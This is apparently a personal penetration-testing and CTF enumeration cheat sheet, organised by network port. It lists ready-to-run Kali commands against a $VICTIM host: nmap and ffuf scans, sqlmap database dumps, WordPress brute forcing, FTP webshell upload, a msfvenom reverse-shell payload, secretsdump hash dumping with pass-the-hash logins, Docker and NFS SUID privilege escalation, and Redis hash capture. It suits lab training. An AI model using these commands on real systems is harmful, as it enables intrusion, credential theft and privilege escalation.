Enumeration

Scans

Initial scan

Kali

nmap -A $VICTIM

Longer scan

Kali

nmap -sV -sT -O -p 1-65535 $VICTIM

Even longer scan

Kali

nmap -sC -sV -p- $VICTIM

Scan for vulnerabilities

Change ports to the ports found from previous scans

Kali

nmap -p1,2,3,4 --script=vuln $VICTIM

Ports

TCP/21 - FTP

Common Credentials

Usernames

anonymous
admin
guest

Passwords

anonymous
password
guest

Access FTP

Kali

ftp $VICTIM 21

List files

Kali(ftp)

ls

List files (using Curl)

Kali

curl ftp://anonymous:anonymous@$VICTIM:21

Download files

Change to Binary mode & passive (an important setting if you're uploading/downloading binary files like pictures and/or executables!).

Kali(ftp)

binary
passive

Kali(ftp)

get $fileName.txt

Download all files

Kali(ftp)

mget *

Download all files to the current directory (using Wget)

Kali

wget -m ftp://anonymous:anonymous@$VICTIM:21 -nd

Upload files

If there is also a website being hosted and you can see the try adding a webshell and going to it from the browser.

Kali(ftp)

binary
passive
put php-reverse-shell.php

TCP/22 - SSH

SSH into host

Kali

ssh $USERNAME@$VICTIM

#SSH into non-standard port
ssh $USERNAME@$VICTIM -p2222

Check this page for cracking examples

SSH

TCP/25 - SMTP

Kali

telnet $VICTIM 25
HELO
VRFY root
QUIT

Kali

sudo nmap $VICTIM -p25 --script smtp-commands 

Kali

sudo nmap $VICTIM -p25 --script smtp-enum-users --script-args smtp-enum-users.methods={VRFY,EXPN,RCPT} -

Kali

smtp-user-enum -M VRFY -U /usr/share/wordlists/metasploit/unix_users.txt -t $VICTIM

Check for vulnerabilities

Kali

sudo nmap $VICTIM -p25 --script smtp-vuln* 

Check this page for cracking examples

SMTP

UDP/53 - DNS

Find subdomains

Example

DNS, SMB, and SNMPUDP/53 - DNS

Kali

dig -t AXFR $HOST.thm @$DNSSERVER

TCP/80:443 - HTTP(s)

Web Enumeration

Useful info on how to run a lot of the tools in this section.

Web Enumeration

Info gathering info

Check if any pages are listed

http://$VICTIM/robots.txt
http://$VICTIM/sitemap.xml

Check certificate for hostname. Then add to hosts file.

Examples

Spring

Create wordlist

Creating a wordlist from this site based off of what is on the website.

Examples

Password Attacks

Kali

cewl -m 8 -w $LIST.lst https://$VICTIM 

Find Directories

Kali

ffuf -u http://$VICTIM/FUZZ -w /usr/share/wordlists/SecLists/Discovery/Web-Content/raft-medium-directories-lowercase.txt

Kali

dirb http://$VICTIM/
dirb http://$VICTIM:$PORT/
dirb http://$VICTIM:80 /usr/share/wordlists/dirb/big.txt -z10 

Find Pages

Kali

gobuster dir -u http://$VICTIM -w /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php,html,txt

Kali

gobuster dir --url http://$VICTIM/ -w /usr/share/dirb/wordlists/big.txt -l

Kali

ffuf -u http://$VICTIM/static/FUZZ -w /usr/share/dirb/wordlists/big.txt

Kali

dirsearch -u $VICTIM:$PORT 

Find pages with certain extensions

Examples

Find pages with certain extensions

Kali

head /usr/share/wordlists/SecLists/Discovery/Web-Content/web-extensions.txt  

web-extensions.txt

.asp
.aspx
.bat
.c
.cfm
.cgi
.css
.com
.dll
.exe

Kali

ffuf -u http://$VICTIM/indexFUZZ -w /usr/share/wordlists/SecLists/Discovery/Web-Content/web-extensions.txt  

Find pages and exclude certain extensions

Example

Find pages and exclude certain extensions

Kali

ffuf -u http://$VICTIM/FUZZ -w /usr/share/wordlists/SecLists/Discovery/Web-Content/raft-medium-

Using filters

Example

Using filters

By adding -fc 403 (filter code) we'll hide from the output all 403 HTTP status codes.

Kali

ffuf -u http://$VICTIM/FUZZ -w /usr/share/wordlists/SecLists/Discovery/Web-Content/raft-medium-files-lowercase.txt -fc 403

Use -mc 200 (match code) instead of having a long list of filtered codes.

Kali

ffuf -u http://$VICTIM/FUZZ -w /usr/share/wordlists/SecLists/Discovery/Web-Content/raft-medium-files-lowercase.txt -mc 200

We can use a regexp to match all files beginning with a dot.

Kali

ffuf -u http://$VICTIM/FUZZ -w /usr/share/wordlists/SecLists/Discovery/Web-Content/raft-medium-files-lowercase.txt -fr '/\..*'

Fuzzing parameters

Example

Fuzzing parameters

ffuf allows you to put the keyword anywhere we can use it to fuzz for parameters.

Kali

ffuf -u http://$VICTIM/sqli-labs/Less-1/?FUZZ=1 -c -w /usr/share/wordlists/SecLists/Discovery/Web-Content/raft-medium-words-lowercase.txt -fw 39

Find Vulnerabilities

Nikto Tuning (-T) Options

0 – File Upload
1 – Interesting File / Seen in logs
2 – Misconfiguration / Default File
3 – Information Disclosure
4 – Injection (XSS/Script/HTML)
5 – Remote File Retrieval – Inside Web Root
6 – Denial of Service
7 – Remote File Retrieval – Server Wide
8 – Command Execution / Remote Shell
9 – SQL Injection
a – Authentication Bypass
b – Software Identification
c – Remote Source Inclusion
x – Reverse Tuning Options (i.e., include all except specified)

Scan for misconfigurations

nikto -h $VICTIM -T 2 -Format txt 

Scan for SQL injection vulnerabilities.

nikto -h $VICTIM -T 9 -Format txt 

Authenticated nikito scan

Examples

ToolsRus

Kali

nikto -id $USERNAME:$PASSWORD -h http://$VICTIM:80/manager/html

Check for Shellshock

nmap -p 80 $VICTIM --script http-shellshock 

Check for Heartbleed

nmap -p 443  $VICTIM --script ssl-heartbleed

Fuzzing Subdomains

Example

Fuzzing Domains

Kali

wfuzz -c -f sub-fighter -w /usr/share/wordlists/SecLists/Discovery/DNS/subdomains-top1million-110000.txt -u 'http://$URL.thm/' -H "Host: FUZZ.$URL.thm" > results.txt

grep -v '290 W' results.txt

Example

Fuzz Subdomain

Kali

gobuster vhost -w /usr/share/wordlists/SecLists/Discovery/DNS/subdomains-top1million-5000.txt -u http://$URL.thm  

Example

Finding vhosts and subdomains

Kali

ffuf -u http://FUZZ.$URL.thm -c -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt

Proxifying ffuf traffic

Example

Proxifying ffuf traffic

Kali

ffuf -u http://$VICTIM -c -w /usr/share/wordlists/SecLists/Discovery/Web-Content/common.txt -x http://127.0.0.1:8080

It's also possible to send only matches to your proxy for replaying:

Kali

ffuf -u http://$VICTIM  -c -w /usr/share/wordlists/SecLists/Discovery/Web-Content/common.txt -replay-proxy http://127.0.0.1:8080

SQLMap

Get information

Can be used to get things like usernames and passwords or other information in the tables.

Example

SQLExpose

Kali

sqlmap -u http://$VICTIM/$PAGE.php --forms --dump
OR
sqlmap -r request.txt --dbms=mysql --dump #Get request from Burp

Get Databases

Examples

OlympusGallery

First capture the request of the page with Burp

Kali

sudo sqlmap -r request.req --dbs

Get tables

Kali

sudo sqlmap -r request.req --current-db $DATABASE --tables

Get fields for specified table

Kali

sudo sqlmap -r request.req --current-db $DATABASE --tables -T $TABLE --columns

Get values of specific fields

Kali

sudo sqlmap -r request.req --current-db $DATABASE  --tables -T $TABLE  -C $FIELD1, $FIELD2 --dump

Rescan SQLMap

SQLMap will just give you the same results if you keep trying the same command, even if things have changed. Remove the cache to resolve this.

Kali

rm -rf /root/.sqlmap/output/$HOST.thm/

Cookies

Example

Cookies

Get the flag with developer console by checking the cookie.

HTTP Headers

Example

HTTP Headers

Run Web server

Kali

python2 -m SimpleHTTPServer 81

Wordpress

Scan wordpress site

Examples

Retro

Kali

HTTP
wpscan --url http://$VICTIM

HTTPS
wpscan --url http://$VICTIM --disable-tls-checks

Enumerate wordpress site

Examples

RetroWordpress: CVE-2021-29447

Kali

wpscan --url http://$VICTIM -e p,t,u

Bruteforce admin page

Kali

wpscan --url http://$VICTIM --passwords /usr/share/wordlists/rockyou.txt

.git folder found

Examples

GitDumper

Kali

pip install git-dumper
mkdir git
git-dumper https://$VICTIM/sources/new/.git/ git/
cd git
git log

grep -r pass *

Jenkins

Reverse Shell

Examples

Jenkins Web

UDP/88 - Kerberos

Username Enumeration

Finds valid users

Examples

Attacktive Directory

kerbrute/dist/kerbrute_linux_386 userenum --dc=$VICTIM -d=$commonName $ListOfUsernames.txt

Get Ticket

Examples

Attacktive Directory

The hash type is Kerberos 5 etype 23 AS-REP.

python3.9 /opt/impacket/examples/GetNPUsers.py -no-pass -usersfile validusers.txt -dc-ip $VICTIM $commonName

TCP/110 - POP3

Logging in with credentials

Examples

TCP/110 - POP3

telnet $VICTIM 110
USER root
PASS root
RETR 1 #change number for each available message
QUIT

Check this page for cracking examples

POP3

TCP/135 - RPC

Kali

rpcclient -U '' $VICTIM
srvinfo
netshareenum # print the real file-path of shares; good for accurate RCE

Login with credentials

Examples

Gatekeeper

Kali

python3.9 /opt/impacket/build/scripts-3.9/psexec.py $USER@$VICTIM
Password: $PASSWORD

TCP/139 - NetBIOS

Examples

SMB port 139

Enumerate SMB

Kali

nmap $VICTIM --script=smb-enum*

Examples

GatekeeperVulnNet: Internal

Kali

nbtscan $VICTIM

Examples

Attacktive Directory

Kali

enum4linux $VICTIM

UDP/161 - SNMP

Collect Information

Examples

DNS, SMB, and SNMP

Kali

git clone https://gitlab.com/kalilinux/packages/snmpcheck.git
cd snmpcheck/
gem install snmp
chmod +x snmpcheck-1.9.rb
./snmpcheck-1.9.rb $VICTIM -c $COMMUNITYSTRING

TCP/389 - LDAP

Enumerating Active Directory

Examples

Enumerating Active Directory

Breaching Active Directory

Examples

Breaching Active Directory

Exploiting Active Directory

Examples

Exploiting Active Directory

Persisting Active Directory

Examples

Persisting Active Directory

TCP/445 - SMB

Scanning

Examples

Basic Pentesting

Kali

nmap $VICTIM --script=smb-enum*

Common Credentials

Usernames

anonymous
admin
guest

smbclient -L //$VICTIM/ -U $USERNAMES

List Shares

Option #1

Examples

GatekeeperAttacktive DirectoryBasic Pentesting

Kali

smbclient -L //$VICTIM/ 

# List shares on a non-standard SMB/Samba port
smbclient -L //$VICTIM/ -p $PORT 

Option #2

Examples

DNS, SMB, and SNMP

Victim

net share

Download files

Option #1

Kali

smbclient \\\\$VICTIM\\$SHARE
prompt
mget *

Option #2

Kali

smbmap -H $VICTIM
smbmap -H $VICTIM-P $PORT

Option #3

Kali

smbget -R smb://$VICTIM/$SHARE

# List shares on a non-standard SMB/Samba port
smbget -R smb://$VICTIM:$PORT/$SHARE

Upload files

Option #1

Kali

smbclient \\\\$VICTIM\\$SHARE
put $FILE

Detect Vulnerabilities

# Check if vulnerable to EternalBlue
sudo nmap $VICTIM -p445 --script smb-vuln-ms17-010 

# Check if vulnerable to SambaCry
sudo nmap $VICTIM -p445 --script smb-vuln-cve-2017-7494 --script-args smb-vuln-cve-2017-7494.check-version

TCP/667 - IRC

irssi -c $VICTIM -p $PORT

TCP/873 - RSYNC

Check Modules

sudo nmap $VICTIM -p873 --script rsync-list-modules

List files

Example

TCP/873 - RSYNC

rsync --list-only rsync://$VICTIM 
rsync --list-only rsync://$USERNAME@$VICTIM/$FOLDER
Password: $PASSWORD

Transfer files

Example

TCP/873 - RSYNC

rsync authorized_keys rsync://$USERNAME@$VICTIM/$FOLDER/.ssh
Password: $PASSWORD

TCP/2049 - NFS

sudo nmap $VICTIM -p111 --script-nfs*

Mount drive

Examples

VulnNet: Internal

#This will list some folders hopefully
showmount -e $VICTIM
#Make a dir
mkdir /mnt/nfs
#/opt/conf is just an example, put what came out after showmount
mount $VICTIM:/opt/conf /mnt/nfs
cd /mnt/nfs

Upload ID_RSA key to login

ssh-keygen -t rsa
cp ~/.ssh/id_rsa.pub authorized_keys
rsync authorized_keys rsync://rsync-connect@$VICTIM/files/sys-internal/.ssh
Password: pass

ssh $USERNAME@$VICTIM

Create mount

sudo mkdir /mnt/FOO
mount -t nfs $VICTIM:$SHARE /tmp/mount/ -nolock
sudo mount //$VICTIM:/$SHARE /mnt/FOO

Interesting loot to look for

- id_rsa from users home directories

Privilege Escalation

Example of how you can get root shell. All commands except the last one are run on our Kali machine where we can control the permissions fully. Then we just run the exploit as the normal user we already have access to.

#Download exploit
wget https://github.com/polo-sec/writing/raw/master/Security%20Challenge%20Walkthroughs/Networks%202/bash

mv bash /mount/point
chown root /mount/point/bash
chmod +u /mount/point/bash
chmod +d /mount/point/bash

#SSH in as victim and run the following
/mount/point/bash -p

TCP/3306 - SQL

examples

TCP/3306 - MySQL

mysql -u $USER -h $VICTIM -p'$PASSWORD'

Kali(mysql)

show databases;
use $DATABASE;
show tables;
select * from $TABLE;

TCP/3389 - RDP

Scan

Kali

sudo nmap $VICTIM -p3389 --script rdp-ntlm-info 

Login to host

Kali

rdesktop -u $USERNAME $VICTIM

Kali

remmina

Examples

RetroBlaster

Kali

xfreerdp /u:$USERNAME /p:$PASSWORD /cert:ignore /v:$VICTIM /workarea  +clipboard

Kali

xfreerdp +clipboard /u:"$USERNAME" /v:$VICTIM:3389 /size:1024x568 /smart-sizing:800x1200
Password: $PASSWORD 

TCP/5000 - Docker Registry

Add repositories

Example

The Great EscapeUmbrella

Kali

subl /etc/docker/daemon.json

daemon.json

{
  "insecure-registries" : ["$VICTIM:5000"]
}

Kali

sudo systemctl stop docker

Wait 30 seconds

Kali

sudo systemctl start docker

List repositories

Example

The Docker RodeoTCP/5000 - Docker RegistryUmbrella

Kali

curl -s http://$VICTIM:5000/v2/_catalog

Get tags of a repository

Example

The Docker RodeoTCP/5000 - Docker RegistryUmbrella

Kali

curl -s http://$VICTIM:5000/v2/$REPOSITORY/tags/list

Get manifests

Example

The Docker RodeoTCP/5000 - Docker RegistryUmbrella

Inside the manifest we can find potential credentials

Kali

curl -s http://$VICTIM:5000/v2/$REPOSITORY/manifests/latest

Download the Docker image to find info

Example

Download the Docker image we are going to decompile using

Kali

docker pull $VICTIM:5000/$REPOSITORY
docker images
dive $IMAGE_ID

Enter image

Example

The Great Escape

Kali

docker -H $VICTIM:5000 images
docker -H $VICTIM:5000 run -v /:/mnt --rm -it $REPOSITORY chroot /mnt sh

Uploading Malicious Docker Images

Example

Vulnerability #3: Uploading Malicious Docker Images

Kali

docker pull

Docker file example

RCE via Exposed Docker Daemon

Example

Vulnerability #4: RCE via Exposed Docker Daemon

Escape via Exposed Docker Daemon

Example

Vulnerability #5: Escape via Exposed Docker Daemon

Shared Namespaces

Example

Vulnerability #6: Shared Namespaces

Misconfigured Privileges

Example

Vulnerability #7: Misconfigured Privileges (Deploy #2)

Privilege Escalation with 2 shells and host mount

Example

Privilege Escalation with 2 shells and host mount

If you have access as root inside a container that has some folder from the host mounted and you have escaped as a non privileged user to the host and have read access over the mounted folder. You can create a bash suid file in the mounted folder inside the container and execute it from the host to privesc.

Victim(root)

find / -name "$FILE-BOTH-USERS-CAN-ACCESS"
cd /$FOLDER
cp /bin/bash . 
chown root:root bash
chmod 4777 bash

Victim(claire-r)

find / -name "$FILE-BOTH-USERS-CAN-ACCESS"
cd /$FOLDER-FROM-BEFORE-MIGHT-BE-DIFF-LOCATION
./bash -p 

TCP/5327 - Postgres

psql -U postgres -p 5437 -h $VICTIM # postgres:postgres
SELECT pg_ls_dir('/');

TCP/5985 - WinRM or wsman

See TCP/5986 - WinRM for WinRM information

TCP/5986 - WinRM

Dump Hashes

Dump hashes of other users if the user you have access to has the privilege's to do so. If it does we can potentially use these hashes with evil-winrm to login as these other users.

Examples

Attacktive Directory

Kali

python3 /usr/local/bin/secretsdump.py  $DOMAIN/$USER:$PASSWORD@$VICTIM > allhashes.txt
cat allhashes.txt | awk -F : '{print $1 ":" $3}' | sort | uniq

Login with found username and password

Examples

Tampering With Unprivileged Accounts

evil-winrm -u $USER -p $PASSWORD -i $VICTIM

Login with found username and hash

Examples

Attacktive DirectoryWindows Local Persistence

evil-winrm -i $VICTIM -u $VICTIMUSERNAME  -H $FOUNDHASH

TCP/6379 - Redis

Example

TCP/6379 - Redis

redis-cli -h $VICTIM -a "$PASSWORD"
$VICTIM:6379> KEYS *
$VICTIM:6379> KEYS "$VALUE"
$VICTIM:6379> GET "$VALUE"
$VICTIM:6379> LRANGE "$VALUE" 1 100

Get Users hash

Example

TCP/6379 - Redis

Kali(redis-cli)

config get *

Kali

responder -I ens5 -dvw  

(You can write anything in place of share, the share does not need to exist)

Kali(redis-cli)

eval "dofile('//$KALI/share')" 0

TCP/7070 - AnyConnect

Example

Annie

Exploit: https://www.exploit-db.com/raw/49613

For code above and just had to change the shellcode and ip variable.

Kali

msfvenom -p linux/x64/shell_reverse_tcp LHOST=$KALI LPORT=4444 -b "\x00\x25\x26" -f python -v shellcode

Kali

nc -lvnp 4444

TCP/11211 - Memcache

Dump cache

Example

TCP/11211 - Memcache

Victim

cd /usr/share/memcached/scripts/  
./memcached-tool localhost:1121 dump

TCP/27017 - MongoDB

Example

Road

Find Info in DB

Victim

mongo

Victim(mongo)

show dbs
use $DBSNAME
show collections
db.$FIELD.find();
exit

Knock

Example

The Great Escape

Usually used in CTFs. Knock on certain ports in a certain pattern to open up more ports.

Kali

git clone https://github.com/grongor/knock.git
cd knock
./knock $VICTIM 42 1337 10420 6969 63000